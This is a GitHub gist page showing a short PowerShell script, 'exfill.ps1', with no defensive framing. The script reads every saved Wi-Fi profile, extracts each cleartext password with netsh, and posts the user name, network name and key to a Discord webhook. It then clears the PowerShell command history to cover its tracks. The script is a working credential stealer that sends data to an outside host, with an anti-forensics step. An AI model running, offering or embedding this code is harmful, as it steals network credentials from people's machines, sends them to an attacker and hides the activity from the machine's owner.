Created
September 23, 2023 22:14
-
-
Save maikelSec/5e80d3ee671fd4a5a1b7555e22e0d8df to your computer and use it in GitHub Desktop.
exfill.ps1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ENG | |
netsh wlan show profile | Select-String '(?<=All User Profile\s+:\s).+' | ForEach-Object { | |
$wlan = $_.Matches.Value | |
$passw = netsh wlan show profile $wlan key=clear | Select-String '(?<=Key Content\s+:\s).+' | |
$Body = @{ | |
'username' = $env:username + " | " + [string]$wlan | |
'content' = [string]$passw | |
} | |
Invoke-RestMethod -ContentType 'Application/Json' -Uri $discord -Method Post -Body ($Body | ConvertTo-Json) | |
} | |
# Clear the PowerShell command history | |
Clear-History |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment